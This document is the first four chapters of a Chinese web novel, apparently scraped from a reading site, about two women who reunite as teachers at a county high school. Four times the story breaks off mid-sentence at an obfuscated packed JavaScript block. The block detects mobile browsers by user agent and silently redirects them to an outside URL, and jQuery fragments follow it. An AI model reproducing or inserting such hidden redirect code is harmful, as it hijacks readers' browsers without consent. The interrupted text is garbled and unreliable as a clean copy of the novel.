《重新攻略女友很难吗？》 1. 第一章 八月末，正值暑假的尾巴，此时夏日的热浪还没完全退去。不过是从车上下来步行了几百米，额头就有冒汗的趋势，让霍空青后悔之前偷懒没带把伞捎带下来。 “小霍老师，这边。”不远处的树荫下站着人，朝着霍空青所在的位置挥手。 霍空青礼貌的挥手回应，加快步伐朝着走去，披在身后的长发被行走时的风浪带着微微晃动。 路过被铁围栏圈着的操场时，才翻新过的塑胶跑道因为太阳的照射发出明显的橡胶味，一个劲的往霍空青鼻尖里钻，让她忍不住捏了一下鼻尖。 “汪主任。”霍空青保持微笑问好，“这大热天的，麻烦您来接我了。” “小霍老师太客气了，这都是我的本职工作。”汪主任笑呵呵的应着，稍显圆润的下巴让她看起来很好说话，不太符合学生对教导处主任一贯的严厉印象。 “天气热，我就不先带小霍老师在学校逛了，先去我办公室坐坐，等凉快了我再给你好好介绍我们学校。”汪主任说道，上前半步开始带路。 霍空青自然没意见，国内的夏末她已经好几年没体验过，相比起待上三分钟就会猛猛冒汗的室外，她更愿意继续躲在空调的庇护下当个宅女。 还没开学的校园显得有些空荡荡，只能依稀听到蝉鸣和空调外机的声音。 走到行政楼门口，霍空青的视线不自觉被红底黄字的喜报吸引，下意识放慢了脚步看了起来。 “今年的教学成果非常好，上本科线的学生529人，上线率超过90%。”汪主任见状介绍起来，一副与有荣焉的模样，话语里满是对学校的认可。 “不愧是江定县第一高中，上线率堪比一线城市的高中了。”霍空青顺着夸了一句，但更多的注意力被喜报旁的公告栏吸引。 第一栏内是校领导班子介绍，第二栏则是优秀教师介绍，一个让霍空青无比眼熟的人出现在最下方。 熟悉的眉眼勾起霍空青许多回忆，相比起五年前，照片上的人看起来更成熟也更有气质。 长发被扎成简约的高马尾，露出温婉大气的五官，鼻梁上的眼镜从记忆中的黑框变成金丝眼镜，身上的书卷气似乎褪去一些，变成更加吸引她的知性感。 “这位商陆老师看着好年轻，她不会年纪比我还小吧？”霍空青问道。语气听起来像是随口一问，实际在问出口的那一刻，霍空青就已经默默竖起耳朵，等着汪主任主动透露相关信息。 一别五年，霍空青从那些老同学里打听到的消息十分有限，只知道商陆在老家当老师当得似乎很不错，她的名字在江定县官媒对外的公众号上出现过足足三次。 “小商老师啊，她年纪应该和你差不多，我记得是三年前正式入职我们学校的。”汪主任努力回忆，“小商老师教学水平很不错，这届高考能有那么高的本科率，有这位老师一份功劳。” 汪主任作为领导，其实不太记得商陆的具体年龄，只记得她是一个很不错的化学老师，年纪轻轻就已经顺利评上一级教师，在这种小地方很是少见。 “这位老师那么厉害啊。”霍空青故作惊讶，“有机会我一定要和商陆老师好好学习，争取也出现在这里。” “肯定有机会的，今年小商老师应该是高一的班主任，小霍你是高一信息技术老师，平平时见面的机会可不少。”汪主任笑着说道：“你们年纪差不多，肯定也很聊得来。” “希望我们能聊得来。”霍空青笑笑。自己和商陆的年纪就差一岁，至于聊不聊的来，那就要看自己的这位学姐现在心里还有没有她了。 - “商陆，你听说了没有，今年我们要来两个新老师呢。”饭搭子袁艺端着一盒葡萄，拉着椅子到商陆身边坐下，在分享水果的同时送上新鲜的一手情报。 “今年又有新老师？去年不是才招了三个新老师吗？”商陆合上手里的备课本，抽出一张湿纸巾开始擦手。 商陆的手指白皙修长，仅在右手食指指腹侧边有一层薄茧，这是她写长时间教案和批改学生作业留下的痕迹。 作为重视卫生的老师，商陆的办公桌一尘不染，擦手的动作也的极为细致，从指根到指腹至指尖，如此两次后才捻起一颗晴王葡萄丢进嘴里。 “原本就招一个有编制的体育老师，另外的新老师是后来招，应该是非编制的信息老师。”袁艺抽出一张纸垫在办公桌上，接着把手里的保鲜盒放下。 袁艺有亲戚在教育局工作，对于本区域的编制变动非常清楚，每次都能拿到一手保真的消息。 商陆没放在心上，权当听个小道消息，不管是体育老师还是信息老师，目前都和她这个化学老师兼班主任关系不大。 或许在下半学期学校组织学业水平考试的时候，她会和后者交流一下学生情况，看要不要拿出几节自习课来巩固对方的教学成果。 保鲜盒里的葡萄还没吃完，开会通知就先一步到了。 商陆对此习以为常，老师比提前学生一周来来校，就是为了开各种各样的会，做好开学的准备工作。 今天下午开的是全体教职工大会，主要听学校领导发言，宣布新学期开始，传达一下上头的理念和学期工作目标。 商陆依旧和搭子袁艺坐一起，在领导视线和镜头扫过来的时候，认真的拿着笔记本记下一些领导的金句，方便在提交各种感想的时候用上。 会开到一半，商陆发现自己的胳膊被笔捅了一下，下意识侧头看向动手的袁艺。 “往你右手边看，往下数三排靠近通道的两个人，就是今年的新来的老师。”袁艺压低声音说道。 商陆顺着袁艺比划的方向看去，从露出的身体部分来看，只能看出体育老师是留着寸头的男老师，最靠边的那位信息老师是一位长发女老师。 也不知道是不是商陆的视线太过直白，原本靠在椅背坐姿随意的信息老师忽然回头，不偏不倚撞上她的视线。 商陆的眼眸中闪过一抹震惊，熟悉的容貌让她忍不住取下眼镜下揉了揉眼睛，以确保自己没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220193|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有看错。 可当商陆再次望去的时候，那位信息老师已经正襟危坐，只留下一个后脑勺给她。 “怎么了？”袁艺凑过来问道，“眼睛里进脏东西了，要不要我给你拿张纸？” 商陆摇头，“袁艺，你知道新来的老师叫什么吗？” “体育老师好像叫程一川，信息老师不知道，没公示消息呢。”袁艺摸了摸下巴，打趣道：“怎么忽然好奇这个，该不会是看到熟人了吧？” 商陆不语，她不能确定自己有没有看错。 那人按理来说应该在国外才对，就算回国了也应该在京市海市发展，而不是到江定这种小县城来，成为江定一中的一名信息老师。 “真看到熟人了？”袁艺挑眉，她随口一说都能猜对？ “可能是我看错了。”商陆推了推鼻梁上的眼镜，听到领导讲话结束后，抬手开始鼓掌。 袁艺跟着鼓掌：“两个新老师都是高一的，明天开年级会议的时候主任肯定会介绍，到时候你好好认认，如果是熟人更好，以后调课啥的也方便一些。” 商陆很轻的嗯了一声，只是眼神依旧忍不住往右下方移动，越看越觉得那个后脑勺让人眼熟。即便知道对方就是霍空青的可能性很小，也不影响商陆在心中生出一丝期待来。 万一呢？万一那个位置上坐着的人就是霍空青呢？ 等领导讲话完毕后，会议也顺利结束，商陆合上笔记本的第一件事，就是起身看向右下方，期待能进行确认。 可惜的是，原本靠边坐着的信息老师不知什么时候已经离席，只留下一个空荡荡的座位，让商陆心中不自觉涌出失落来。 如果真有万一的话，霍空青不会就这样在对视后抛下自己的，看来之前确实是自己看错了。 “你一会要回家吃饭还是和我下馆子？”袁艺问道，手里的薄本子被她卷成一团，看着随时都能塞进兜里。 “我妈今天约了朋友一起，我和你一起，吃完再回家。”商陆说道，拿着本子往外走。 袁艺很是自然的挽住好友手臂，两人并肩往外走，“行，附近有一家新开的米线，不少学生都夸味道好，我们一起去试试？” “好啊。”商陆笑着应下。 走出大门没几步，商陆就察觉到有人在跟着自己，下意识回头看了一眼。 熟悉的五官让商陆往前走的脚步跟着一顿，握着笔记本的手也跟着收紧，连带着让挽住她手臂的袁艺也停了下来。 “怎么了？”袁艺跟着回头，视线落在穿着衬衣和长裤的霍空青身上，注意力瞬间被她精致立体的五官吸引。 “商陆……学姐，好久不见。”霍空青保持脸上的微笑，余光死死粘在两人挽着的手臂上，恨不得盯出一个洞来。 商陆自然有所察觉，但在下意识抽出手臂的前一秒想起，她们已经分开五年，关系早就不复从前，现在估计只能算普通朋友兼校友。 于是商陆故作淡定的点了点头，“好久不见，霍学妹。” 2. 第二章 袁艺看似坐在位置上认真嗦米线，实则注意力全在面对面坐着的商陆和霍空青身上，余光一会看看这个，一会瞟瞟那个。 常年一线吃瓜的经验告诉袁艺，好友商陆和这位新来的信息老师绝对有不一样的关系，肯定不只是单纯的同校校友。 可不管是商陆还是霍空青，除了初遇时聊了几句以外，一路上都非常安静。就算一起来到店内吃饭，也就是点餐的时候出了个声，随后就专注进食一言不发。 袁艺受不了这样过于安静的氛围，于是主动打开话题，“没想到在这里还能遇见校友，商陆你的运气真不错。” “嗯，确实不错。”商陆应道，视线终于从满是小料的米线中移开，落在对面的霍空青身上。 霍空青抬头对上商陆的视线，抬手将碎发别在耳后，脸上露出明显的笑意，“能让商陆学姐觉得遇见我是运气不错的表现，我真是太开心了。” 商陆握着筷子的手一紧，嘴唇动了动似乎想要说什么，可到最后只发出一声简单的嗯。 这话茬不就嘎巴一下掉在地上了吗？袁艺可不允许这种事情发生！ “冒昧问一下，霍老师也是京师大的硕士吗？”袁艺再次把话题摆上桌，露出好奇的表情。 霍空青摇了摇头，“毕业后我就因为一些事情出国，回到国内还不到一个月。” “这样啊。”袁艺脸上露出一抹了然，心中更加笃定自己的猜测。 如果商陆和眼前的霍老师真的是普通朋友和校友，那在久别重逢后应该对彼此非常热情，再不济也要关心一下彼此近几年的生活如何，而不是像现在这样，需要自己这个‘外人’暖场。 “霍老师是哪里人，怎么想到来我们学校呢？”袁艺顺势问道。 “我户口在京市。”霍空青说着抽出一张纸擦了擦额头冒出的细汗，店内的空调似乎不够给力，加上碗里的米线热气腾腾，她吃了没几口就开始冒汗。 “来到江定算是机缘巧合吧，曾经有一个和我关系很亲密的人说这里的风景很不错，所以我在回国后就来了这里。”霍空青补充道，又抽了一张纸巾出来继续擦。 “是这样啊。”袁艺很有礼貌的没有追问，不过已经脑补出许多内容。 没等袁艺继续开口，她就发现不吭声的好友不知道什么时候拿出一个发圈放在桌子上。 “把头发扎起来会好一些。”商陆语气平淡，眼眸中也没有露出任何多余的神色，仿佛自己的举动只是纯粹的好心，没有任何特殊用意。 可霍空青是谁，她追了商陆一年多，又和她日日夜夜两年多，怎么会看不出这看似冷淡表面下藏着的真实情绪呢？ “谢谢商陆学姐。”霍空青手很快，快到商陆来不及移开自己的手，就被对方先一步握住。 商陆想把手收回来，奈何霍空青握得太用力，她都把手肘抵在桌子边缘，也没能顺利抽出。 “不客气。”商陆面无表情的盯着霍空青，略微加重音量，“霍学妹快把头发扎起来吧。” “好噢。”霍空青慢吞吞把手收回来，随后挽起长发用发圈扎了个简单的马尾，露出侧脸和颈部完美的线条。 白皙的皮肤在室内灯照射下更显细腻柔和，在商陆看来更是和发光了一样，一下勾走她大半的注意力。 “谢谢商陆学姐。”霍空青重复了一遍感谢，脸上的笑容比之前更加明显。 商陆回过神来，嗯了一声当作回应后，就继续低头开始吃米线。 霍空青也不在意，脸上灿烂的笑容让袁艺都忍不住侧目多看了一眼。 这两人要是没有猫腻，她袁艺就把名字倒过来写！以后改名叫艺袁！ - 一碗米线就算再磨蹭也吃不了太久，在最后一个人放下筷子时，也就意味着分开的时候到了。 袁艺今天没开车过来，离开米线店后就率先坐上网约车，降下车窗朝两人挥手告别，留下几乎肩膀挨着肩膀站在一起的霍空青和商陆。 只是两人谁也没先开口说话，就这样站在路边沉默不语。 远处响起一道略显刺耳的汽车鸣笛声，霍空青率先一步有了动作，她抬手取下发圈，乌黑的长发如瀑布般落在她的后背。 随着霍空青的动作，一股熟悉的淡雅香味飘出，涌进商陆的鼻腔，勾起她更多回忆。 这个香味对商陆而言非常熟悉，自她提过一句很喜欢某洗发水的味道后，霍空青就把两人的洗发水都换成那个牌子，直到她们分开为止都没改变。 霍空青还在用这个品牌的洗发水？国产的品牌在国外也能买到吗？ “商陆学姐，谢谢你的发圈。”霍空青侧身说道，黑色的发圈被她用食指挑起，横在商陆的面前。 “不客气。”商陆收起发散的思绪，抬手捏住发圈。 意料中被霍空青反握住手的情况并没有发生，商陆就这样轻松的拿回属于自己的东西。 “学姐，我们应该还算朋友吧？”霍空青问道，往前了半步，低下头后鼻尖几乎要贴上商陆的侧脸。 “嗯。”商陆把发圈塞进裤兜，岔开话题的同时往后退了一步，“时间不早了，我要回家了。” 霍空青的眼神因着商陆后退的动作稍显黯淡，不过很快就被她调整好，继续面带笑意的开口，“学姐还住在原来的地方吗？要不要我送你回去？” “谢谢，我自己回去就行。”商陆还没想到自己要怎么面对霍空青，只是下意识和她保持距离。 霍空青往前半步：“学姐要怎么回去？” 商陆抿唇：“我骑小电驴回去。” 霍空青点了点头，率先迈开脚步，“学姐应该把车停在学校了吧，我也是呢，我们一起回去吧。” 商陆没法拒绝这个合情合理的提议，落后半步跟在霍空青的身后。 太阳下山后，室外温度也跟着下降不少，偶尔在风经过的时候，还能带来一抹凉意。 霍空青按照以前两人压马路的习惯走在外侧，偶尔抬头看看两边的商铺，语气带着一丝微妙的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220194|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹，“在上大学的时候，我就一直想找机会来这里看看学姐的家乡，没想到兜兜转转到现在才真正做到。” 商陆没接话，那些记忆对她而言已经是很遥远的过去，五年的时间能改变的东西太多太多。 “学姐，我们当初的约定还作数吗？”霍空青回头看着商陆问道。 “什么约定？”商陆不知道霍空青想说什么。在热恋期她们一起畅想未来的次数太多太多，随口许下的承诺更是不知道有多少。 “要是学姐当老师的话，我就在学校附近买一套房子，负责接送你上下班。”霍空青放慢脚步，改为和商陆并肩，“现在我就可以履行这个约定。” “霍空青。”商陆停下脚步，直视对方，“我们已经分开足足五年零两个月，你难道没听说过吗？情侣超过七天不联系就等于默认分手。” 霍空青怔怔望向商陆，试图从黑色的眼眸中找到对自己的眷恋，“所以学姐是要和我分手吗？” “我们已经分手了，在五年前就已经分手。”商陆重复强调，她必须和霍空青说清楚。 在分开的时候，两人确实谁也没提分手这两个字，可这并不意味着霍空青在五年后回来，能默认两人没有分手，从而履行早就失去意义的约定。 霍空青没说话，只是默默垂眸露出一副颇受打击的样子，微颤的眼睫让商陆忍不住心中一紧。 又是这一招，恋爱时霍空青就喜欢用装可怜小狗让自己心软，她难道觉得五年后的自己还会吃这一招吗？ “我说的难道不是事实吗？”商陆开始沉不住气，清秀的眉眼不觉皱起，“分开时你说过，我不需要等你，我可以过自己想要的生活。” 霍空青带着鼻音嗯了一声，把头埋得更低了，“那你现在过的就是自己想要的生活吗？” “是。”商陆硬着心回答，“我觉得我现在过得很好，我很乐意保持现状。” “好，我知道了。”霍空青用力的吸了吸鼻子，依旧低着头，“那就麻烦学姐忘掉我之前的话吧，是我失言了。” 商陆抿唇，明明霍空青的回答就是她想要得到的结果，可在真正听到后，她又一点都开心不起来。 “你知道就好。”商陆不知道该如何回应，只能干巴巴应一句，随后加快脚步往学校走。 发现没人跟上自己后，商陆又忍不住在拐角回头，看到霍空青依旧在原地，只是从站着变成抱着膝盖蹲在地上，更像是被抛弃的可怜小狗了。 了当初说好要和自己在一起一辈子的人是霍空青，在毕业后抛下自己去国外的人也是霍空青，自己没必要心疼这样的人。 商陆在心中告诫自己，硬是迈开脚步往前走，骑上小电驴后直接往家里赶，不给自己留下任何后悔的机会。 看着商陆头也不回的骑着小电驴离开后，霍空青忍不住长叹一口气，默默拨通房产中介的联系方式。 “价格我可以让步，但我要对方以最快的速度把屋子腾出来，最好后天装修团队就能开始工作。” 3. 第三章 在学生还没开学的这几天里，商陆能在家里睡到八点，吃完早饭骑着小电驴赶到学校，正好可以打九点上班的卡。 办公室内的空调开的很足，商陆一进来就感受到沁人的凉意，毛孔都因此舒展开来。 今天上午依旧是备课和准备PPT时间，出开学考试卷这种事情还轮不到目前资历不足的商陆。 伏案工作一小时后，商陆拿起水杯准备起身倒杯水。 见到商陆有动作后，一直按捺着小心思的袁艺也跟着起身走到饮水机附近，“商陆，看到主任发的通知了没有？下午开完会后还有聚餐活动呢。” “嗯？聚餐？”商陆接水的动作一顿，“不是只通知了今天下午两点开高一年级会议吗？” “那是昨天的通知，聚餐是主任提议的，说是让我们这些没结婚的年轻老师互相聚聚，顺带让新老师也参与进来，方便融入我们。”袁艺说道。 商陆松开按钮：“去年来新老师的时候，似乎没有组织聚餐？” “没呢，我打听过，据说是批了经费下来。”袁艺压低声音，“不止是我们高一老师，高二和高三老师也一样，说是各个年级自行组织。” 商陆点头，同事间聚餐很常见，十多个人一起吃饭，自己又不一定和霍空青坐一起，没有必要想太多。 - “非常感谢霍总对我们学校的赞助，操场翻新计划已经在八月中完工，我们计划在冬天到来前给教室和学生宿舍都安上空调。”校长乐呵呵的说道，主动给坐在她对面的霍空青添茶。 “回馈社会支持国家高等教育本就是我们这些人的责任，如果不是国家支持，我们也没法发展的那么顺利。”霍空青面带微笑打着官腔。 原本霍空青是最烦这一套的，只不过在被现实锤炼过后，她也学会在适当的时候收敛脾气带上假面。 真要比较的话，在国内和高中校长聊天可比在国外和那些政客高管聊天要轻松许多，至少不用担心谈话不愉快会直接导致回程遭遇一些‘意外’。 校长端起茶喝了一口，“要是每个人都像霍总一样有社会责任心，我们国家的教育水平一定能更上一层楼。” “只有我们可不够，还需要有优秀教育工作者注入最重要的灵魂。”霍空青脸上的笑容不变，“我发现校内智能化教学硬件虽然不错，不过软件方面似乎有所欠缺。” 霍空青：“一线城市的高中很多都用上了虚拟实验室，从成果展示来看效果还蛮不错的。老师教学新知识更加形象生动，学生接受知识更快，课堂上注意力也更集中。” “不瞒霍总，那些好用的软件都是按照学生数量每年收费的，如果配备的话，每年需要额外支出3-5万元。”校长轻叹一声，“这笔钱用在其他地方或许会更合理，所以目前老师们用的是功能受限的免费版。” 霍空青点了点头，“晚些我让人额外追加一笔指定捐款，争取新学期就老师和学生们用上。” “霍总真是破费了，我代表一中全体师生向霍总致谢。”校长压下眼里激动的神色，发出邀请，“不知道晚上霍总有没有时间吃顿便饭。” 霍空青脸上的笑容变得真挚了一些，“晚上我要参加高一年轻老师的聚餐，这可是我融入一中的好机会，怕是不能赴约了。” 校长脸上露出一抹了然，聊多了捐款的事情她都差点忘了，眼前这位霍总同时也是自家学校的的新老师呢。 “那我就不打扰霍总融入我们一中的大家庭了。”校长说道，达成目的后她脸上的笑容也变得真挚了许多。 要是真能留下这尊大佛在一中，明年高考的本科率估计还能再上三个百分点，努努力全员本科也不是不可能啊！ 笑眯眯送霍空青离开后，校长一个电话喊来了教务处的汪主任，再三叮嘱她要好好关照新来的这位小霍老师，务必让她感受到一中大家庭的温暖。 “校长，这位小霍老师有什么特殊背景吗？”汪主任忍不住问道，这已经是校长第三次单独叮嘱她要关照霍空青了。 “这个你不用知道，只要记住我说的话就行。”校长额外叮嘱，“不要打听小霍老师的背景，相处时当作普通同事对待就行。” 校长很清醒，她知道像霍空青这样的人肯定不会一直待在一中当一个平平无奇的信息老师。指不定她今天透露对方的背景，人明天就递交辞职走了。 汪主任点点头，校长虽然没正面给出答案，可已经从态度上变相回答了自己的问题。 - 高一年级会议开了足足两个小时，大部分时间放在教学目标安排上，有关新老师的介绍只占据其中不到三分钟，基本只来得及记下他们的名字和毕业院校。 商陆作为班主任，在其余科任老师离开后，还需要和其余十三个班主任一起再开一个班主任小会，等她结束会议的时候，也差不多到聚餐时间。 聚餐的地方距离学校有十五分钟的车程，商陆才拿起手机就看到袁艺发来的消息，她已经在停车场等着自己。 袁艺开到学校来的是新能源电车，粉色的外表经常让它在一众黑白油车中格外显眼。 不过今天好像不太一样，有一辆多伦多红宝马也同样显眼，而且正在朝着商陆所在的位置驶来。 “学姐，要搭个便车吗？”车窗降下，霍空青带着笑容的脸出现在商陆面前，仿佛昨天没有发生过任何不愉快的对话。 “谢谢，不过我约好坐朋友的车了。”商陆礼貌道谢。没等霍空青说第二句话，就先一步离开，直直的朝着袁艺的粉红电车走去。 通过后视镜看到商陆上了其他人的车后，霍空青默默把准备好的小礼物重新收进抽屉里，赶在被后车催促前朝着校门口驶去。 没事的没事的，自己只不过是迟了一步，没在商陆约好坐朋友车前出现而已，问题不大。 霍空青在心中不断安慰自己，将车速保持在一个较慢的区间，直到粉红电车超过自己后，才提速跟在后面。 - 当袁艺第三次在后视镜看到熟悉的红色宝马后，终于忍不住开口，“商陆，你和那位霍老师的关系怎么样，她一直开车跟在后面呢。” “我们现在只是普通校友。”商陆下意识答道，随后补了一句，“也算是普通朋友吧。” 前方亮起的红灯让袁艺踩住下刹车，“有件事我不知道要不要和你说，这位霍老师好像很早就在停车场，她应该是在特意等你。” 商陆透过车外的后视镜，看到了跟在后面的车，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220195|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不清楚，她没和我提过这件事。” “你们难道没有联系方式嘛？”袁艺有些惊讶，如果是认识的大学同学，就算没有电话号码，也应该有社交账号好友啊。 “她有。”商陆抿唇，她没有换掉大学时用的那个号码，而是在回家后又重新办了一个手机号。 至于其他线上联系方式，她从来没有拉黑过谁，联系不上的人从头到尾就只有霍空青一个人而已。 察觉到商陆的情绪有些不对劲，袁艺果断打住这个话题，点开一首舒缓的音乐听了起来。 正值晚高峰的路有些拥堵，原定十五分钟能到的餐厅开了差不多二十分钟才到。 好在吃饭的都是年轻老师，没有太多讲究，来的早的就先点菜，来迟的坐在位置上等上菜就行。 商陆找到空位坐下，就发现身边的座椅被拉开，一直跟在她后面的霍空青就这样出现在她身边。 “商老师，我能坐在这里的吧？”入座后的霍空青笑着问道。 “当然可以，空位谁都能坐。”商陆面带微笑，语气中带着明显的疏离。 霍空青也不在意，主动拿起桌上的热水壶开始清洗面前的餐具，随后将干净的碗筷摆在商陆面前。 来不及阻拦的商陆只能礼貌接受，“谢谢。” “不客气~”霍空青慢条斯理的洗着第二套，最后将热水倒进垃圾桶内。 在十三位年轻老师到齐后，热菜就被服务员端了上来。饭桌上的话题很快被打开，从操场翻新开始，没一会就聊到了两位新老师，最后落在霍空青身上。 “霍老师是京师大的高材生，怎么想到来江定发展？”一位男老师带着好奇发问。 霍空青避重就轻：“这里风景很好，给我感觉很不错，加上有合适的机会就来了。” 男老师：“说起来商老师也是京师大的，两位之前认识？” “认识，大学时我们一起参加过社团活动。”霍空青侧头望向商陆，“商老师是我学姐，当时很关照我呢。” “那你们还真是有缘分呢。”男老师端起饮料喝了一口，继续追问，“问个冒昧的问题，霍老师现在是单身吗？” 霍空青眼里的笑意收敛了些许，不过第一天见面就问这个，确实冒昧了一些。 商陆保持低头看饭碗的动作，慢吞吞的嚼着嘴里已经没有盐味的青菜。 霍空青没有回答这个问题，只是拿起公筷给商陆碗里夹了一块小炒肉。 冷下来的场面让男老师意识到自己的问的不妥，很快把话题拐到另一个新老师身上，“程老师是应届生，说起来是我们这里年纪最小的呢。” 程一川也很配合，笑着点头，“是啊是啊，以后可要多多关照我，不要让我动不动就生病上不了课。” 不少老师被他的话逗笑，刚才略显尴尬的一幕很快被抛掷脑后。 “我是单身。”霍空青侧身，用只有她和商陆能听到的音量开口，“我在国外没有谈过恋爱，我只和你一个人谈过。” 属于霍空青的气息喷洒在耳畔，让商陆略感不自在。但她依旧装作什么都没听到一样，将碗里的肉片夹起塞进嘴里，慢慢咀嚼品尝。 霍空青是不是单身和自己无关，她们已经分手了。 4. 第四章 不需要喝酒的饭局结束的很快，不过七点半就告一段落，分开前十三位老师还面对面建了一个微信群，美名其曰方便交流和下次约饭。 在商陆把群昵称改成真名后，一个好友群内好友申请就在屏幕上弹了出来，备注是简单的三个字——霍空青。 霍空青的头像是一个女生摸猫的背影，从体型来看并不是她本人，不认识的看着会觉得这是网图，但商陆只用一秒就认出了那女生是自己。 准确来说，大三时的自己，那时候两人刚确定关系没多久。这张照片是她去猫咖摸毛茸茸的时候，霍空青站在门口抓拍的，也是对方之前的微信头像。 换了新的微信号，用的却是以前的头像，霍空青这是什么意思？ 商陆不想费心思去猜，只是抱着日后两人会是同事的想法通过了好友申请。 【霍空青：我能送你回家吗？我住的酒店在你家附近，很顺路。】 【霍空青：猫猫探头.jpg】 可爱的表情包让商陆内心有一瞬间的柔软，但最后还是低头打字拒绝霍空青的提议。 【商陆：谢谢，不过不用麻烦，我已经打好车了。】 【霍空青：好，注意安全，到家给我发个消息。】 商陆皱眉，自己为什么要到家后给霍空青发消息？她是把自己昨天的话抛在脑后了吗？ 这条消息商陆没有回复，只是默默打开喊车软件，飞快完成定位后下单。 “怎么打车了，不是说好我送你回去吗？”袁艺看到后略带不解，“电车开那么点路就几块钱而已。” “时间就是金钱，一来一去要耽误你大半个小时呢。”商陆笑着说道，“好啦，你回去吧，我喊的车马上就到了。” 袁艺知道好友作出决定后很难更变，因此也没强求，只是在路边陪着，看着商陆上车后她才开车离开。 商陆住的小区挨着拆迁安置区，白天车流量就不高天黑后更是一路畅通无阻，不过二十来分钟就顺利抵达目的地。 下车后，商陆打开手机给袁艺发了个消息，退出聊天界面后指尖悬在另一个联系人上犹豫不决。 指尖滞空三秒后，商陆收起手机，径直朝着小区内走去。 来到自家楼下后，商陆就看到一辆小货车横在路中间，打过几次照面的邻居正在指挥搬运工人将打包好的纸箱子往车上搬。 “刘姨，你这是要搬家了？”商陆上前打招呼。 小区建成时间已经差不多有二十年，因为地段的关系住户很少有变动，就算不住了也只是闲置出租，很少这样彻底把家里搬空的。 “是啊，家里长辈年纪大恋旧了，加上这里没电梯上下不方便，所以准备回乡下自己屋里住着。”刘姨笑着说道，对这位老师邻居态度很好，“总在天台那些菜我们带不走，有需要的话你自己摘，就当是我们送你们了。” 商陆礼貌道谢，侧身将通道让出来，等堵在楼梯口的搬家工人搬空箱子后才开始爬楼梯回家。 老小区的楼高有限，一共就六层，一层两户。买房子的时候商陆家里资金有限，因此购入的是价格相对便宜的六楼，目前和妈妈一起住在602。 “妈，我回来了。”商陆和在沙发上看电视的妈妈打招呼，随后将钥匙放在玄关柜上，“隔壁刘姨要回老家，把天台上种的菜送给我们了。” “这事她和我提过，说是有人看中了她的房子，直接全款拿下。”商妈妈把茶几上的水果端到自家女儿面前，“也不知道新邻居是什么样的人，以后能不能相处好。” “唔，能让刘姨痛快搬家的买家，人品应该不会太差吧。”商陆往嘴里塞了一颗李子，语气有些心不在焉。 陪着自家妈妈看了一会电视后，商陆还是没忍住拿出手机，飞快点开第二个对话框。 【商陆：我到了。】 【霍空青：好，学姐晚安。】 看着几乎秒回的消息，商陆心里有些不是滋味，没等陪妈妈看完今日份的黄金档电视剧，就先一步到浴室洗漱。 霍空青的意图很明显，她想要和自己复合。 自己要怎么做？再次放任霍空青闯进自己的生活，然后又一次看着她利落抽身离开？ - 发现对面连正在输入中的提示也没有后，霍空青只能遗憾收起手机，继续用电脑浏览文件。 霍空青虽然一直跟着妈妈在国内生活，但她不少的家人都在国外，包括但不限于父亲、姐姐、爷爷。 作为家里的老二，非继承人的霍空青在大学毕业前身上都没有什么压力，她能做到自己对商陆许下的每一个承诺。 只是一场意外的发生毁掉霍空青的所有安排，让她带着对未来的迷茫登上去往大洋彼岸的飞机，这一走就是足足五年。 琢磨海对面的亲人差不多起床后，霍空青拨通了视频电话。过去大概二十秒后，电话被接通，五官和霍空青有三分相似的脸出现在屏幕上，还带着一丝朦胧的睡意。 “喂，姐姐，我应该没打扰到你休息吧？”霍空青问道，视线落在屏幕里还穿着睡衣的霍苏叶身上。 “当然，我的作息你应该很清楚才对。”霍苏叶应道，接过管家递给自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220196|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的咖啡喝了一口，不加糖的咖啡很苦，而舌尖的苦味也让她精神了许多。 “回国那么多天，现在终于想到联系我了，是不是有事要我去做？”霍苏叶笑眯眯的看着自家妹妹。 “姐姐，我在国内也有很多事情要处理，又不是没干正事。”霍空青用皱眉表达抗议，“再说了，我联系你就不能是纯粹是关心你的身体吗？” 霍苏叶：“所以不需要我帮忙做什么？” “咳咳，国内事务这块我想慢慢接手，姐姐你分几个靠谱的人帮帮我嘛。”霍空青放低姿态，用上恳求的语气，“姐姐你也知道，我和你不一样，集团事务我这几年才接触，不如姐姐您了解。” 